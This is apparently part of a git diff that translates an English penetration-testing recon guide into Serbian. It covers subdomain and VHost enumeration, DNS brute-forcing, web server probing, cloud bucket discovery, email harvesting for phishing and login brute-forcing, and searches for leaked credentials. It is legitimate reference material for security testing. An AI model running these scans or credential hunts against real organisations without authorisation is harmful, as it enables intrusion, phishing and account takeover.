tesla.com ``` - * [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - * [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za tu svrhu, kao što su: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena. ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -* [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +* [**JLDC besplatni API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -* [**RapidDNS**](https://rapiddns.io) free API - +* [**RapidDNS**](https://rapiddns.io) besplatni API ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - * [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -* [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji zadati domen. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Oni pretražuju web u potrazi za JS fajlovima i iz njih izvlače poddomene. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -355,42 +310,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - * [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - -* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - +* [**Censys pronalazač poddomena**](https://github.com/christophetd/censys-subdomain-finder) ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - * [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -* [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +* [**securitytrails.com**](https://securitytrails.com/) ima besplatnu API za pretragu poddomena i istoriju IP adresa * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +Ovaj projekat nudi **besplatno sve poddomene vezane za bug-bounty programe**. Možete pristupiti ovim podacima i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Možete pronaći **poređenje** mnogih ovih alata ovde: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS Brute force** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +Pokušajmo da pronađemo nove **poddomene** brute-forcing DNS servere koristeći moguća imena poddomena. -For this action you will need some **common subdomains wordlists like**: +Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene kao što su**: * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -398,118 +346,93 @@ For this action you will need some **common subdomains wordlists like**: * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -* [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +Najpreporučeniji alati za DNS brute-force su: +* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je prvi alat koji je izveo efikasan DNS brute-force. Veoma je brz, ali je podložan lažnim pozitivima. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -* [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +* [**gobuster**](https://github.com/OJ/gobuster): Mislim da ovaj koristi samo 1 resolver ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go jeziku, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog bruteforce-a, kao i da rešite poddomene sa rukovanjem sa džoker znakom i jednostavnom podrškom za unos i izlaz. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -* [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +* [**puredns**](https://github.com/d3mondev/puredns): Takođe koristi `massdns`. ``` puredns bruteforce all.txt domain.com ``` - -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) koristi asyncio za asinhrono brute force napad na domenska imena. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### Druga runda DNS Brute-Force napada -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više. Za tu svrhu korisne su nekoliko alata: +* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Generiše permutacije na osnovu domena i poddomena. ```bash cat subdomains.txt | dnsgen - ``` - -* [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - * You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišu permutacije. +* Možete dobiti goaltdns permutacije **wordlist** [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -* [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka permutacija, gotator će koristiti svoju sopstvenu. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -* [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - * You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može pokušati i da ih razreši (ali bolje je koristiti prethodno komentarisane alate). +* Možete dobiti altdns permutacije **wordlist** [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -* [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - * You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubom silom dobiti rezultat (ne podržava dns wild card). +* Možete preuzeti dmut listu reči za permutacije [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi otkrio više poddomena. -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -* [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### Pametno generisanje permutacija +* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali u osnovi će uzeti **glavne delove** otkrivenih poddomena i mešati ih kako bi pronašao više poddomena. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je alat za brute-force napad na poddomene koji je uparen sa izuzetno jednostavnim, ali efikasnim algoritmom vođenim DNS odgovorima. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu informacija prikupljenih tokom DNS skeniranja. ``` echo www | subzuf facebook.com ``` +### **Radni tok otkrivanja poddomena** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanje poddomena** sa domena koristeći **Trickest radne tokove** tako da ne moram ručno pokretati gomilu alata na svom računaru: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -### **VHosts / Virtual Hosts** +### **VHosts / Virtuelni hostovi** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +Ako pronađete IP adresu koja sadrži **jednu ili više veb stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tako što ćete pretražiti **OSINT izvore** za domene na određenoj IP adresi ili **brute-forcing VHost imena domena na toj IP adresi**. #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +Možete pronaći neke **VHostove na IP adresama koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**. **Brute Force** -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: - +Ako sumnjate da se neki poddomen može sakriti na veb serveru, možete pokušati da ga brute-forceujete: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -523,219 +446,213 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - {% hint style="info" %} -With this technique you may even be able to access internal/hidden endpoints. +Sa ovom tehnikom možda čak možete pristupiti internim/skrivenim endpointima. {% endhint %} ### **CORS Brute Force** -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. - +Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u zaglavlju _**Origin**_. U ovim scenarijima, možete zloupotrebiti ovu funkcionalnost da **otkrijete** nove **poddomene**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` +### **Brute Force za Buckets** -### **Buckets Brute Force** +Dok tražite **poddomene**, obratite pažnju da li se **upućuje** na neku vrstu **bucket-a**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Takođe, s obzirom da ćete u ovom trenutku znati sve domene unutar opsega, pokušajte [**brute force-ovati moguća imena bucket-a i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/). -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +### **Monitorisanje** -### **Monitorization** +Možete **pratiti** da li su **kreirane nove poddomene** domena praćenjem **Certificate Transparency** Logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) radi toga. -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +### **Traženje ranjivosti** -### **Looking for vulnerabilities** +Proverite moguće [**preuzimanje poddomene**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Ako se **poddomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/). -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Ako pronađete bilo koju **poddomenu sa drugačijom IP adresom** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (korišćenjem Nessus-a ili OpenVAS-a) i neko [**skeniranje porta**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ +Napomena da se ponekad poddomena nalazi na IP adresi koja nije pod kontrolom klijenta, pa nije u opsegu, budite oprezni. -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +## IP adrese -## IPs +U početnim koracima možda ste **pronašli neke opsege IP adresa, domene i poddomene**.\ +Vreme je da **sakupite sve IP adrese iz tih opsega** i za **domene/poddomene (DNS upiti)**. -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** - -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Korišćenjem usluga sledećih **besplatnih API-ja** možete takođe pronaći **prethodno korišćene IP adrese od strane domena i poddomena**. Ove IP adrese još uvek mogu biti u vlasništvu klijenta (i mogu vam omogućiti pronalaženje [**CloudFlare zaobilaznica**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) * [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +Takođe možete proveriti domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host) -### **Looking for vulnerabilities** +### **Traženje ranjivosti** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**Skenirajte sve IP adrese koje ne pripadaju CDN-ovima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim pokrenutim uslugama možda ćete **moći pronaći ranjivosti**. -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +Pronađite [**vodič**](../pentesting-network/) **o tome kako skenirati hostove**. -## Web servers hunting +## Lov na veb servere -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> Pronašli smo sve kompanije i njihove resurse i znamo opsege IP adresa, domene i poddomene unutar opsega. Vreme je da tražimo veb servere. -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +U prethodnim koracima verovatno ste već izvršili neko **istraživanje IP adresa i otkrili domene**, tako da možda već imate **sve moguće veb servere**. Međutim, ako nemate, sada ćemo videti neke **brze trikove za traženje veb servera** unutar opsega. -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +Molim vas, imajte na umu da će ovo biti **usmereno na otkrivanje veb aplikacija**, pa biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje porta** takođe (**ako je dozvoljeno** u opsegu). +**Brz metod** za otkrivanje **otvorenih portova** koji se odnose na **veb** servere koristeći [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\ +Još jedan koristan alat za traženje veb servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Dodatno, možete naznačiti da pokušate i druge portove: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` - ### **Screenshots** -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama** kompanije i svim **domenima** i **poddomenima**), verovatno **ne znate odakle da počnete**. Dakle, učinimo to jednostavnim i počnimo tako što ćemo napraviti snimke ekrana svih njih. Samo **pogledom** na **glavnu stranicu** možete pronaći **čudne** endpointe koji su više **podložni** ranjivostima. -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +Da biste izvršili predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +Osim toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **snimke ekrana** i da vam kaže šta je verovatno **ranjivo**, a šta nije. -## Public Cloud Assets +## Javna Cloud Sredstva -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. +Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "", <"ime_poddomena">`. -You will also need wordlists of **common words used in buckets**: +Takođe će vam biti potrebne liste reči koje se **često koriste u bucketima**: * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +Zatim, sa tim rečima trebali biste generisati **permutacije** (proverite [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija). -With the resulting wordlists you could use tools such as [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Sa rezultirajućim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +Zapamtite da prilikom traženja Cloud Sredstava trebate **tražiti više od samo bucketa u AWS-u**. -### **Looking for vulnerabilities** +### **Traženje ranjivosti** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +Ako pronađete stvari kao što su **otvoreni bucketi ili izložene cloud funkcije**, trebali biste im **pristupiti** i pokušati videti šta vam nude i da li ih možete zloupotrebiti. -## Emails +## E-mailovi -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +Sa **domenima** i **poddomenima** unutar opsega, imate sve što vam je **potrebno da počnete tražiti e-mailove**. Ovo su **API-ji** i **alati** koji su mi najbolje funkcionisali za pronalaženje e-mailova kompanije: -* [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -* API of [**https://hunter.io/**](https://hunter.io/) (free version) -* API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -* API of [**https://minelead.io/**](https://minelead.io/) (free version) +* [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima +* API od [**https://hunter.io/**](https://hunter.io/) (besplatna verzija) +* API od [**https://app.snov.io/**](https://app.snov.io/) (besplatna verzija) +* API od [**https://minelead.io/**](https://minelead.io/) (besplatna verzija) -### **Looking for vulnerabilities** +### **Traženje ranjivosti** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +E-mailovi će vam kasnije biti korisni za **brute-force web prijave i autentifikacijske servise** (kao što je SSH). Takođe, potrebni su za **phishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza e-maila, što je korisno za kampanju phishinga. -## Credential Leaks +## Curenje akreditacija -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +Sa **domenima**, **poddomenima** i **e-mailovima** možete početi tražiti procurele akreditacije iz prošlosti koje pripadaju tim e-mailovima: * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **Traženje ranjivosti** -If you find **valid leaked** credentials, this is a very easy win. +Ako pronađete **važeće procurele** akreditacije, to je veoma jednostavna pobeda. -## Secrets Leaks +## Curenje tajni -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +Curenje akreditacija je povezano sa hakovanjem kompanija gde je **osetljive informacije procurele i prodavane**. Međutim, kompanije mogu biti pogođene i drugim curenjima čije informacije nisu u tim bazama podataka: -### Github Leaks +### Github Curenja -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +Akreditacije i API-ji mogu biti procureli u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\ +Možete koristiti alat [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima. -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos** se takođe može koristiti za pokretanje **gitleaks** nad svim **tekstualnim** **URL-ovima** koje mu prosledite, jer se ponekad **veb stranice takođe sadrže tajne**. #### Github Dorks -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate: {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) {% endcontent-ref %} -### Pastes Leaks +### Curenja Pasteova -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **osetljive informacije**, ali je veoma interesantno za pretragu.\ +Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete više od 80 sajtova za paste istovremeno. ### Google Dorks -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is 